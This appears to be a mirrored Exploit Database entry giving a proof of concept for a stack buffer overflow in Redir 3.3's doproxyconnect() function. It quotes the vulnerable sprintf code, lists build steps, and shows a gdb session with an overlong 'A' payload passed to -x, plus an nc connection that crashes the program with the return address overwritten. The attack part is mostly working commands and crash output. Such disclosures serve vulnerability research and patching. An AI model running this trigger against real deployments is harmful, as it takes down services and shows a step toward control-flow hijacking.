Redir 3.3 – Denial of Service (PoC)

• Exploit Database
• 13 阅读

• 作者： hieubl
  日期： 2020-01-14
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47919/

• # Exploit Title: Redir 3.3 - Denial of Service (PoC)
  # Date: 2020-01-14
  # Exploit Author: hieubl from HPT Cyber Security
  # Vendor Homepage: https://github.com/troglobit/redir
  # Software Link: https://github.com/troglobit/redir
  # Version: 3.3
  # Tested on: Kali GNU/Linux Rolling 2019.4
  # CVE : [if applicable]
  
  The source code of redir.c contains doproxyconnect() function which
  has the stack overflow vulnerability:
  
  void doproxyconnect(int socket)
  {
  	int x;
  	char buf[128];
  
  	/* write CONNECT string to proxy */
  	sprintf((char *)&buf, "CONNECT %s HTTP/1.0\n\n", connect_str);
  	x = write(socket, (char *)&buf, strlen(buf));
  	if (x < 1) {
  		syslog(LOG_ERR, "Failed writing to proxy: %s", strerror(errno));
  		exit(1);
  	}
  	/* now read result */
  	x = read(socket, (char *)&buf, sizeof(buf));
  	if (x < 1) {
  		syslog(LOG_ERR, "Failed reading reply from proxy: %s", strerror(errno));
  		exit(1);
  	}
  	/* no more error checking for now -- something should be added later */
  	/* HTTP/1.0 200 Connection established */
  }
  
  Download and build:
  # git clone https://github.com/troglobit/redir.git
  # cd redir
  # ./autogen.sh
  # ./configure
  # make
  
  Proof of Concept:
  In 1st terminal:
  # gdb -q ./redir
  # set follow-fork-mode child
  # r -x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  :1234 hpt.vn:80
  
  In 2nd terminal:
  # nc localhost 1234
  
  After that, the program in 1st terminal will crash because of buffer
  overflow vulnerability.
  ...
  ► 0x5555555571b0 <doproxyconnect+144>ret<0x4141414141414141>
  ...
  Program received signal SIGSEGV (fault address 0x0)
  pwndbg>